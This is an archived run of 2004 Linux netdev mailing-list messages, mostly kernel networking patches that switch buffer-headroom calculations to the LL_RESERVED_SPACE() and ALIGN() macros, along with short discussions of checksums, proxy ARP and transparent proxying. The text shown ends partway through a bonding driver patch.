Mon, 09 Feb 2004 01:50:48 +0100 In-Reply-To: <101E0EB68A545748974019DC227C554007CBDD@orsmsx406.jf.intel.com> (cramerj@intel.com's message of "Sun, 8 Feb 2004 15:22:29 -0800") Message-ID: User-Agent: Gnus/5.1006 (Gnus v5.10.6) Emacs/21.3.50 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-archive-position: 3126 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: schwab@suse.de Precedence: bulk X-list: netdev Content-Length: 871 Lines: 26 "cramerj" writes: > Just for clarification...how are you determining a bad checksum? Are > you using tcpdump/ethereal on those test machines (that you're > transmitting from), or are you capturing packets on the wire (from some > other system receiving the packets). Actually both. I have first noticed the issue because my DHCP clients didn't accept the answers from the server. > If the former, then please see the following thread. > > http://marc.theaimsgroup.com/?t=107422099800006&r=1&w=2 > > Is this perhaps the issue you're seeing? I just double checked, the packets are really going out with a bad checksum. Andreas. -- Andreas Schwab, SuSE Labs, schwab@suse.de SuSE Linux AG, Maxfeldstraße 5, 90409 Nürnberg, Germany Key fingerprint = 58CA 54C7 6D53 942B 1756 01D3 44D5 214B 8276 4ED5 "And now for something completely different." From yoshfuji@linux-ipv6.org Sun Feb 8 20:42:41 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 08 Feb 2004 20:42:56 -0800 (PST) Received: from yue.hongo.wide.ad.jp (yue.hongo.wide.ad.jp [203.178.135.30]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i194geKO021299 for ; Sun, 8 Feb 2004 20:42:41 -0800 Received: from localhost (localhost [127.0.0.1]) by yue.hongo.wide.ad.jp (Postfix) with ESMTP id AA70833CA5; Mon, 9 Feb 2004 13:43:35 +0900 (JST) Date: Mon, 09 Feb 2004 13:43:35 +0900 (JST) Message-Id: <20040209.134335.71212303.yoshfuji@linux-ipv6.org> To: davem@redhat.com Cc: netdev@oss.sgi.com, yoshfuji@linux-ipv6.org Subject: [PATCH] [WANROUTER] LL_RESERVED_SPACE From: YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?= Organization: USAGI Project X-URL: http://www.yoshifuji.org/%7Ehideaki/ X-Fingerprint: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA X-PGP-Key-URL: http://www.yoshifuji.org/%7Ehideaki/hideaki@yoshifuji.org.asc X-Face: "5$Al-.M>NJ%a'@hhZdQm:."qn~PA^gq4o*>iCFToq*bAi#4FRtx}enhuQKz7fNqQz\BYU] $~O_5m-9'}MIs`XGwIEscw;e5b>n"B_?j/AkL~i/MEaZBLP X-Mailer: Mew version 2.2 on Emacs 20.7 / Mule 4.1 (AOI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 3127 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: yoshfuji@linux-ipv6.org Precedence: bulk X-list: netdev Content-Length: 783 Lines: 26 D: [WANROUTER] Use LL_RESERVED_SPACE() where appricable. ===== net/wanrouter/af_wanpipe.c 1.31 vs edited ===== --- 1.31/net/wanrouter/af_wanpipe.c Sun Oct 5 15:51:01 2003 +++ edited/net/wanrouter/af_wanpipe.c Mon Feb 9 12:39:45 2004 @@ -591,14 +591,14 @@ return -EMSGSIZE; } - skb = sock_alloc_send_skb(sk, len+dev->hard_header_len+15, + skb = sock_alloc_send_skb(sk, len + LL_RESERVED_SPACE(dev), msg->msg_flags & MSG_DONTWAIT, &err); if (skb==NULL){ goto out_unlock; } - skb_reserve(skb, (dev->hard_header_len+15)&~15); + skb_reserve(skb, LL_RESERVED_SPACE(dev)); skb->nh.raw = skb->data; /* Returns -EFAULT on error */ -- Hideaki YOSHIFUJI @ USAGI Project GPG FP: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA From yoshfuji@linux-ipv6.org Sun Feb 8 20:42:46 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 08 Feb 2004 20:42:59 -0800 (PST) Received: from yue.hongo.wide.ad.jp (yue.hongo.wide.ad.jp [203.178.135.30]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i194gkKO021312 for ; Sun, 8 Feb 2004 20:42:46 -0800 Received: from localhost (localhost [127.0.0.1]) by yue.hongo.wide.ad.jp (Postfix) with ESMTP id 7A7A433CA5; Mon, 9 Feb 2004 13:43:41 +0900 (JST) Date: Mon, 09 Feb 2004 13:43:41 +0900 (JST) Message-Id: <20040209.134341.43254113.yoshfuji@linux-ipv6.org> To: davem@redhat.com Cc: netdev@oss.sgi.com, yoshfuji@linux-ipv6.org Subject: [PATCH] [PACKET] LL_RESERVED_SPACE From: YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?= Organization: USAGI Project X-URL: http://www.yoshifuji.org/%7Ehideaki/ X-Fingerprint: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA X-PGP-Key-URL: http://www.yoshifuji.org/%7Ehideaki/hideaki@yoshifuji.org.asc X-Face: "5$Al-.M>NJ%a'@hhZdQm:."qn~PA^gq4o*>iCFToq*bAi#4FRtx}enhuQKz7fNqQz\BYU] $~O_5m-9'}MIs`XGwIEscw;e5b>n"B_?j/AkL~i/MEaZBLP X-Mailer: Mew version 2.2 on Emacs 20.7 / Mule 4.1 (AOI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 3128 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: yoshfuji@linux-ipv6.org Precedence: bulk X-list: netdev Content-Length: 1386 Lines: 42 D: [PACKET] Use LL_RESERVED_SPACE() where appricable. ===== net/packet/af_packet.c 1.40 vs edited ===== --- 1.40/net/packet/af_packet.c Sat Feb 7 06:30:12 2004 +++ edited/net/packet/af_packet.c Mon Feb 9 12:41:20 2004 @@ -327,7 +327,7 @@ goto out_unlock; err = -ENOBUFS; - skb = sock_wmalloc(sk, len+dev->hard_header_len+15, 0, GFP_KERNEL); + skb = sock_wmalloc(sk, len + LL_RESERVED_SPACE(dev), 0, GFP_KERNEL); /* * If the write buffer is full, then tough. At this level the user gets to @@ -346,7 +346,7 @@ * hard header at transmission time by themselves. PPP is the * notable one here. This should really be fixed at the driver level. */ - skb_reserve(skb,(dev->hard_header_len+15)&~15); + skb_reserve(skb, LL_RESERVED_SPACE(dev)); skb->nh.raw = skb->data; /* Try to align data part correctly */ @@ -700,12 +700,12 @@ if (len > dev->mtu+reserve) goto out_unlock; - skb = sock_alloc_send_skb(sk, len+dev->hard_header_len+15, + skb = sock_alloc_send_skb(sk, len + LL_RESERVED_SPACE(dev), msg->msg_flags & MSG_DONTWAIT, &err); if (skb==NULL) goto out_unlock; - skb_reserve(skb, (dev->hard_header_len+15)&~15); + skb_reserve(skb, LL_RESERVED_SPACE(dev)); skb->nh.raw = skb->data; if (dev->hard_header) { -- Hideaki YOSHIFUJI @ USAGI Project GPG FP: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA From yoshfuji@linux-ipv6.org Sun Feb 8 20:43:24 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 08 Feb 2004 20:43:37 -0800 (PST) Received: from yue.hongo.wide.ad.jp (yue.hongo.wide.ad.jp [203.178.135.30]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i194hNKO021443 for ; Sun, 8 Feb 2004 20:43:24 -0800 Received: from localhost (localhost [127.0.0.1]) by yue.hongo.wide.ad.jp (Postfix) with ESMTP id 1E63833CA5; Mon, 9 Feb 2004 13:44:19 +0900 (JST) Date: Mon, 09 Feb 2004 13:44:18 +0900 (JST) Message-Id: <20040209.134418.72875541.yoshfuji@linux-ipv6.org> To: davem@redhat.com Cc: netdev@oss.sgi.com, yoshfuji@linux-ipv6.org Subject: [PATCH] [NETFILTER] LL_RESERVED_SPACE From: YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?= Organization: USAGI Project X-URL: http://www.yoshifuji.org/%7Ehideaki/ X-Fingerprint: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA X-PGP-Key-URL: http://www.yoshifuji.org/%7Ehideaki/hideaki@yoshifuji.org.asc X-Face: "5$Al-.M>NJ%a'@hhZdQm:."qn~PA^gq4o*>iCFToq*bAi#4FRtx}enhuQKz7fNqQz\BYU] $~O_5m-9'}MIs`XGwIEscw;e5b>n"B_?j/AkL~i/MEaZBLP X-Mailer: Mew version 2.2 on Emacs 20.7 / Mule 4.1 (AOI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 3130 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: yoshfuji@linux-ipv6.org Precedence: bulk X-list: netdev Content-Length: 987 Lines: 30 D: [NETFILTER] Use LL_RESERVED_SPACE() where appricable. ===== net/ipv4/netfilter/ipt_REJECT.c 1.26 vs edited ===== --- 1.26/net/ipv4/netfilter/ipt_REJECT.c Fri Jan 30 10:00:13 2004 +++ edited/net/ipv4/netfilter/ipt_REJECT.c Mon Feb 9 12:47:03 2004 @@ -117,7 +117,7 @@ if ((rt = route_reverse(oldskb, hook)) == NULL) return; - hh_len = (rt->u.dst.dev->hard_header_len + 15)&~15; + hh_len = LL_RESERVED_SPACE(rt->u.dst.dev); /* We need a linear, writeable skb. We also need to expand headroom in case hh_len of incoming interface < hh_len of @@ -305,9 +305,9 @@ if (length > 576) length = 576; - hh_len = (rt->u.dst.dev->hard_header_len + 15)&~15; + hh_len = LL_RESERVED_SPACE(rt->u.dst.dev); - nskb = alloc_skb(hh_len+15+length, GFP_ATOMIC); + nskb = alloc_skb(hh_len + length, GFP_ATOMIC); if (!nskb) { ip_rt_put(rt); return; -- Hideaki YOSHIFUJI @ USAGI Project GPG FP: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA From yoshfuji@linux-ipv6.org Sun Feb 8 20:43:19 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 08 Feb 2004 20:43:32 -0800 (PST) Received: from yue.hongo.wide.ad.jp (yue.hongo.wide.ad.jp [203.178.135.30]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i194hIKO021422 for ; Sun, 8 Feb 2004 20:43:18 -0800 Received: from localhost (localhost [127.0.0.1]) by yue.hongo.wide.ad.jp (Postfix) with ESMTP id C558D33CA5; Mon, 9 Feb 2004 13:44:13 +0900 (JST) Date: Mon, 09 Feb 2004 13:44:13 +0900 (JST) Message-Id: <20040209.134413.98076915.yoshfuji@linux-ipv6.org> To: davem@redhat.com Cc: netdev@oss.sgi.com, yoshfuji@linux-ipv6.org Subject: [PATCH] [IPV4] LL_RESERVED_SPACE From: YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?= Organization: USAGI Project X-URL: http://www.yoshifuji.org/%7Ehideaki/ X-Fingerprint: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA X-PGP-Key-URL: http://www.yoshifuji.org/%7Ehideaki/hideaki@yoshifuji.org.asc X-Face: "5$Al-.M>NJ%a'@hhZdQm:."qn~PA^gq4o*>iCFToq*bAi#4FRtx}enhuQKz7fNqQz\BYU] $~O_5m-9'}MIs`XGwIEscw;e5b>n"B_?j/AkL~i/MEaZBLP X-Mailer: Mew version 2.2 on Emacs 20.7 / Mule 4.1 (AOI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 3129 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: yoshfuji@linux-ipv6.org Precedence: bulk X-list: netdev Content-Length: 793 Lines: 27 D: [IPV4] Use LL_RESERVED_SPACE() where appricable ===== net/ipv4/igmp.c 1.47 vs edited ===== --- 1.47/net/ipv4/igmp.c Tue Feb 3 08:43:31 2004 +++ edited/net/ipv4/igmp.c Mon Feb 9 12:44:46 2004 @@ -276,7 +276,7 @@ struct iphdr *pip; struct igmpv3_report *pig; - skb = alloc_skb(size + dev->hard_header_len + 15, GFP_ATOMIC); + skb = alloc_skb(size + LL_RESERVED_SPACE(dev), GFP_ATOMIC); if (skb == NULL) return 0; @@ -298,7 +298,7 @@ skb->dst = &rt->u.dst; skb->dev = dev; - skb_reserve(skb, (dev->hard_header_len+15)&~15); + skb_reserve(skb, LL_RESERVED_SPACE(dev)); skb->nh.iph = pip =(struct iphdr *)skb_put(skb, sizeof(struct iphdr)+4); -- Hideaki YOSHIFUJI @ USAGI Project GPG FP: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA From yoshfuji@linux-ipv6.org Sun Feb 8 20:44:28 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 08 Feb 2004 20:44:41 -0800 (PST) Received: from yue.hongo.wide.ad.jp (yue.hongo.wide.ad.jp [203.178.135.30]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i194iRKO022161 for ; Sun, 8 Feb 2004 20:44:28 -0800 Received: from localhost (localhost [127.0.0.1]) by yue.hongo.wide.ad.jp (Postfix) with ESMTP id 5030E33CA5; Mon, 9 Feb 2004 13:45:23 +0900 (JST) Date: Mon, 09 Feb 2004 13:45:23 +0900 (JST) Message-Id: <20040209.134523.27564970.yoshfuji@linux-ipv6.org> To: davem@redhat.com Cc: netdev@oss.sgi.com, yoshfuji@linux-ipv6.org Subject: [PATCH] [IPV6] LL_RESERVED_SPACE From: YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?= Organization: USAGI Project X-URL: http://www.yoshifuji.org/%7Ehideaki/ X-Fingerprint: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA X-PGP-Key-URL: http://www.yoshifuji.org/%7Ehideaki/hideaki@yoshifuji.org.asc X-Face: "5$Al-.M>NJ%a'@hhZdQm:."qn~PA^gq4o*>iCFToq*bAi#4FRtx}enhuQKz7fNqQz\BYU] $~O_5m-9'}MIs`XGwIEscw;e5b>n"B_?j/AkL~i/MEaZBLP X-Mailer: Mew version 2.2 on Emacs 20.7 / Mule 4.1 (AOI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 3131 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: yoshfuji@linux-ipv6.org Precedence: bulk X-list: netdev Content-Length: 4972 Lines: 154 D: [IPV6] Use LL_RESERVED_SPACE() where appricable. ===== net/ipv6/ip6_output.c 1.49 vs edited ===== --- 1.49/net/ipv6/ip6_output.c Thu Jan 22 15:18:21 2004 +++ edited/net/ipv6/ip6_output.c Mon Feb 9 13:25:45 2004 @@ -218,7 +218,7 @@ */ head_room = opt->opt_nflen + opt->opt_flen; seg_len += head_room; - head_room += sizeof(struct ipv6hdr) + ((dst->dev->hard_header_len + 15)&~15); + head_room += sizeof(struct ipv6hdr) + LL_RESERVED_SPACE(dst->dev); if (skb_headroom(skb) < head_room) { struct sk_buff *skb2 = skb_realloc_headroom(skb, head_room); @@ -844,7 +844,7 @@ mtu = inet->cork.fragsize; } - hh_len = (rt->u.dst.dev->hard_header_len&~15) + 16; + hh_len = LL_RESERVED_SPACE(rt->u.dst.dev); fragheaderlen = sizeof(struct ipv6hdr) + (opt ? opt->opt_nflen : 0); maxfraglen = ((mtu - fragheaderlen) & ~7) + fragheaderlen - sizeof(struct frag_hdr); @@ -881,14 +881,14 @@ alloclen += sizeof(struct frag_hdr); if (transhdrlen) { skb = sock_alloc_send_skb(sk, - alloclen + hh_len + 15, + alloclen + hh_len, (flags & MSG_DONTWAIT), &err); } else { skb = NULL; if (atomic_read(&sk->sk_wmem_alloc) <= 2 * sk->sk_sndbuf) skb = sock_wmalloc(sk, - alloclen + hh_len + 15, 1, + alloclen + hh_len, 1, sk->sk_allocation); if (unlikely(skb == NULL)) err = -ENOBUFS; ===== net/ipv6/mcast.c 1.50 vs edited ===== --- 1.50/net/ipv6/mcast.c Thu Jan 29 09:06:25 2004 +++ edited/net/ipv6/mcast.c Mon Feb 9 13:35:19 2004 @@ -1233,12 +1233,13 @@ IPV6_TLV_ROUTERALERT, 2, 0, 0, IPV6_TLV_PADN, 0 }; - skb = sock_alloc_send_skb(sk, size + dev->hard_header_len+15, 1, &err); + /* we assume size > sizeof(ra) here */ + skb = sock_alloc_send_skb(sk, size + LL_RESERVED_SPACE(dev), 1, &err); if (skb == 0) return 0; - skb_reserve(skb, (dev->hard_header_len + 15) & ~15); + skb_reserve(skb, LL_RESERVED_SPACE(dev)); if (dev->hard_header) { unsigned char ha[MAX_ADDR_LEN]; @@ -1580,12 +1581,12 @@ payload_len = len + sizeof(ra); full_len = sizeof(struct ipv6hdr) + payload_len; - skb = sock_alloc_send_skb(sk, dev->hard_header_len + full_len + 15, 1, &err); + skb = sock_alloc_send_skb(sk, LL_RESERVED_SPACE(dev) + full_len, 1, &err); if (skb == NULL) return; - skb_reserve(skb, (dev->hard_header_len + 15) & ~15); + skb_reserve(skb, LL_RESERVED_SPACE(dev)); if (dev->hard_header) { unsigned char ha[MAX_ADDR_LEN]; ndisc_mc_map(snd_addr, ha, dev, 1); ===== net/ipv6/ndisc.c 1.70 vs edited ===== --- 1.70/net/ipv6/ndisc.c Sat Feb 7 08:28:55 2004 +++ edited/net/ipv6/ndisc.c Mon Feb 9 13:25:45 2004 @@ -459,7 +459,7 @@ inc_opt = 0; } - skb = sock_alloc_send_skb(sk, MAX_HEADER + len + dev->hard_header_len + 15, + skb = sock_alloc_send_skb(sk, MAX_HEADER + len + LL_RESERVED_SPACE(dev), 1, &err); if (skb == NULL) { @@ -468,7 +468,7 @@ return; } - skb_reserve(skb, (dev->hard_header_len + 15) & ~15); + skb_reserve(skb, LL_RESERVED_SPACE(dev)); ip6_nd_hdr(sk, skb, dev, src_addr, daddr, IPPROTO_ICMPV6, len); msg = (struct nd_msg *)skb_put(skb, len); @@ -545,7 +545,7 @@ if (send_llinfo) len += NDISC_OPT_SPACE(dev->addr_len); - skb = sock_alloc_send_skb(sk, MAX_HEADER + len + dev->hard_header_len + 15, + skb = sock_alloc_send_skb(sk, MAX_HEADER + len + LL_RESERVED_SPACE(dev), 1, &err); if (skb == NULL) { ND_PRINTK1("send_ns: alloc skb failed\n"); @@ -553,7 +553,7 @@ return; } - skb_reserve(skb, (dev->hard_header_len + 15) & ~15); + skb_reserve(skb, LL_RESERVED_SPACE(dev)); ip6_nd_hdr(sk, skb, dev, saddr, daddr, IPPROTO_ICMPV6, len); msg = (struct nd_msg *)skb_put(skb, len); @@ -617,7 +617,7 @@ if (dev->addr_len) len += NDISC_OPT_SPACE(dev->addr_len); - skb = sock_alloc_send_skb(sk, MAX_HEADER + len + dev->hard_header_len + 15, + skb = sock_alloc_send_skb(sk, MAX_HEADER + len + LL_RESERVED_SPACE(dev), 1, &err); if (skb == NULL) { ND_PRINTK1("send_ns: alloc skb failed\n"); @@ -625,7 +625,7 @@ return; } - skb_reserve(skb, (dev->hard_header_len + 15) & ~15); + skb_reserve(skb, LL_RESERVED_SPACE(dev)); ip6_nd_hdr(sk, skb, dev, saddr, daddr, IPPROTO_ICMPV6, len); hdr = (struct icmp6hdr *)skb_put(skb, len); @@ -1305,7 +1305,7 @@ rd_len &= ~0x7; len += rd_len; - buff = sock_alloc_send_skb(sk, MAX_HEADER + len + dev->hard_header_len + 15, + buff = sock_alloc_send_skb(sk, MAX_HEADER + len + LL_RESERVED_SPACE(dev), 1, &err); if (buff == NULL) { ND_PRINTK1("ndisc_send_redirect: alloc_skb failed\n"); @@ -1315,7 +1315,7 @@ hlen = 0; - skb_reserve(buff, (dev->hard_header_len + 15) & ~15); + skb_reserve(buff, LL_RESERVED_SPACE(dev)); ip6_nd_hdr(sk, buff, dev, &saddr_buf, &skb->nh.ipv6h->saddr, IPPROTO_ICMPV6, len); -- Hideaki YOSHIFUJI @ USAGI Project GPG FP: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA From yoshfuji@linux-ipv6.org Sun Feb 8 20:44:34 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 08 Feb 2004 20:44:46 -0800 (PST) Received: from yue.hongo.wide.ad.jp (yue.hongo.wide.ad.jp [203.178.135.30]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i194iXKO022168 for ; Sun, 8 Feb 2004 20:44:34 -0800 Received: from localhost (localhost [127.0.0.1]) by yue.hongo.wide.ad.jp (Postfix) with ESMTP id 1A2E833CA5; Mon, 9 Feb 2004 13:45:29 +0900 (JST) Date: Mon, 09 Feb 2004 13:45:28 +0900 (JST) Message-Id: <20040209.134528.28683257.yoshfuji@linux-ipv6.org> To: davem@redhat.com Cc: netdev@oss.sgi.com, yoshfuji@linux-ipv6.org Subject: [PATCH,RFC] [NET] ALIGN From: YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?= Organization: USAGI Project X-URL: http://www.yoshifuji.org/%7Ehideaki/ X-Fingerprint: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA X-PGP-Key-URL: http://www.yoshifuji.org/%7Ehideaki/hideaki@yoshifuji.org.asc X-Face: "5$Al-.M>NJ%a'@hhZdQm:."qn~PA^gq4o*>iCFToq*bAi#4FRtx}enhuQKz7fNqQz\BYU] $~O_5m-9'}MIs`XGwIEscw;e5b>n"B_?j/AkL~i/MEaZBLP X-Mailer: Mew version 2.2 on Emacs 20.7 / Mule 4.1 (AOI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 3132 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: yoshfuji@linux-ipv6.org Precedence: bulk X-list: netdev Content-Length: 699 Lines: 23 D: Use ALIGN() where appricable. BTW, 1. do we really need this ALIGN? 2. should 16 be BYTES_PER_WORD (in mm/slab.c)? ===== net/core/neighbour.c 1.24 vs edited ===== --- 1.24/net/core/neighbour.c Tue Jan 20 14:31:23 2004 +++ edited/net/core/neighbour.c Mon Feb 9 13:13:37 2004 @@ -1164,8 +1164,7 @@ if (!tbl->kmem_cachep) tbl->kmem_cachep = kmem_cache_create(tbl->id, - (tbl->entry_size + - 15) & ~15, + ALIGN(tbl->entry_size, 16), 0, SLAB_HWCACHE_ALIGN, NULL, NULL); tbl->lock = RW_LOCK_UNLOCKED; -- Hideaki YOSHIFUJI @ USAGI Project GPG FP: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA From pekkas@netcore.fi Sun Feb 8 22:08:46 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 08 Feb 2004 22:08:59 -0800 (PST) Received: from netcore.fi (netcore.fi [193.94.160.1]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1968jKO025110 for ; Sun, 8 Feb 2004 22:08:46 -0800 Received: from localhost (pekkas@localhost) by netcore.fi (8.11.6/8.11.6) with ESMTP id i1968UY12576; Mon, 9 Feb 2004 08:08:31 +0200 Date: Mon, 9 Feb 2004 08:08:30 +0200 (EET) From: Pekka Savola To: Julian Anastasov cc: netdev@oss.sgi.com, Alexey Kuznetsov Subject: Re: Change proxy_arp to respond only for valid neighbours In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 3133 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: pekkas@netcore.fi Precedence: bulk X-list: netdev Content-Length: 929 Lines: 23 On Sun, 8 Feb 2004, Julian Anastasov wrote: > Appended is a patch that modifies proxy_arp to check > the target's neighbour state before reporting any information > to requestors. The benefit is that the availability of the target > host is properly reported to the requestor, we prefer not to send > replies when target is unreachable. As this seems to make the proxy_arp more intelligent, maybe you should take a look at: http://www.ietf.org/internet-drafts/draft-thaler-ipv6-ndproxy-01.txt (which, at the moment, specifies proxy arp/ND for both IPv4 and IPv6) and see how close our implementation is wrt. to that spec, whether the above spec is better or worse, or whether there may be room for improvement otherwise as well? -- Pekka Savola "You each name yourselves king, yet the Netcore Oy kingdom bleeds." Systems. Networks. Security. -- George R.R. Martin: A Clash of Kings From k_jambunathan@yahoo.co.uk Sun Feb 8 23:56:50 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 08 Feb 2004 23:57:04 -0800 (PST) Received: from web25110.mail.ukl.yahoo.com (web25110.mail.ukl.yahoo.com [217.12.10.58]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i197unKO027416 for ; Sun, 8 Feb 2004 23:56:50 -0800 Message-ID: <20040209075644.11922.qmail@web25110.mail.ukl.yahoo.com> Received: from [202.144.86.147] by web25110.mail.ukl.yahoo.com via HTTP; Mon, 09 Feb 2004 07:56:44 GMT Date: Mon, 9 Feb 2004 07:56:44 +0000 (GMT) From: =?iso-8859-1?q?Jambunathan=20Kalyanasundaram?= Subject: TProxy, 2.4 Kernel and NetFilter To: netfilter-devel@lists.netfilter.org Cc: netdev@oss.sgi.com MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-archive-position: 3135 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: k_jambunathan@yahoo.co.uk Precedence: bulk X-list: netdev Content-Length: 1117 Lines: 36 ( Sorry for posting in two mailing lists at the same time ) I would like to implement Transparent HTTP Proxy and I have scoured through your archives for the related threads. Can someone confirm that my following understanding is still valid as of date considering the latest Linux kernel and Netfilter source tree. 1) For packet interception from browser side, the standard way is to use REDIRECT target of Netfilter. 2) But if I am not really interested in the overheads imposed by the NetFilter, the only option is to patch the Linux kernel with Balazs Scheidler's patch. If I don't like something as heavyweight as Netfilter and something that is as "non standard" as patching the kernel, are there any ways out ? Also are there any existing NetFilter modules that work on a standard, unpatched kerenel that allow proxy to talk to the web server as though it's the web browser ( source address spoofing ) ? Regards, Jambunathan K. ___________________________________________________________ BT Yahoo! Broadband - Free modem offer, sign up online today and save £80 http://btyahoo.yahoo.co.uk From shmulik.hen@intel.com Mon Feb 9 02:53:18 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 09 Feb 2004 02:53:37 -0800 (PST) Received: from hermes-pilot.fm.intel.com (fmr99.intel.com [192.55.52.32]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i19ArIKO005068 for ; Mon, 9 Feb 2004 02:53:18 -0800 Received: from talaria.fm.intel.com (talaria.fm.intel.com [10.1.192.39]) by hermes-pilot.fm.intel.com (8.12.9-20030918-01/8.12.9/d: major-outer.mc,v 1.14 2004/01/09 00:51:16 root Exp $) with ESMTP id i18G9VfT021980; Sun, 8 Feb 2004 16:09:32 GMT Received: from fmsmsxvs040.fm.intel.com (fmsmsxvs040.fm.intel.com [132.233.42.124]) by talaria.fm.intel.com (8.12.9-20030918-01/8.12.9/d: major-inner.mc,v 1.7 2003/12/18 18:58:10 root Exp $) with SMTP id i18GBLZA009717; Sun, 8 Feb 2004 16:11:22 GMT Received: from jrslxjul4.npdj.intel.com ([10.12.220.54]) by fmsmsxvs040.fm.intel.com (SAVSMTP 3.1.2.35) with SMTP id M2004020808113024093 ; Sun, 08 Feb 2004 08:11:31 -0800 From: Shmuel Hen Organization: Intel Corporation To: "Jeff Garzik" Subject: [PATCH 3/3][bonding][2.6] Add VLAN support in ALB mode Date: Sun, 8 Feb 2004 18:11:28 +0200 User-Agent: KMail/1.5.3 Cc: "linux-netdev" MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200402081811.29698.shmulik.hen@intel.com> X-Scanned-By: MIMEDefang 2.31 (www . roaringpenguin . com / mimedefang) X-archive-position: 3136 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shmulik.hen@intel.com Precedence: bulk X-list: netdev Content-Length: 7045 Lines: 217 Add capability to tag self generated ARP packets that are required for receive load balancing in bonding. VLAN Id's are saved and used each time a new IP connection is established since 8021q currently supports IP binding. Update module version and comment blocks. -- | Shmulik Hen Advanced Network Services | | Israel Design Center, Jerusalem | | LAN Access Division, Platform Networking | | Intel Communications Group, Intel corp. | diff -Nuarp a/drivers/net/bonding/bond_alb.c b/drivers/net/bonding/bond_alb.c --- a/drivers/net/bonding/bond_alb.c Wed Jan 21 16:56:26 2004 +++ b/drivers/net/bonding/bond_alb.c Wed Jan 21 16:56:28 2004 @@ -34,6 +34,9 @@ * * 2003/12/30 - Amir Noam * - Fixed: Cannot remove and re-enslave the original active slave. + * + * 2004/01/14 - Shmulik Hen + * - Add capability to tag self generated packets in ALB/TLB modes. */ //#define BONDING_DEBUG 1 @@ -499,13 +502,33 @@ static void rlb_update_client(struct rlb } for (i = 0; i < RLB_ARP_BURST_SIZE; i++) { - arp_send(ARPOP_REPLY, ETH_P_ARP, - client_info->ip_dst, 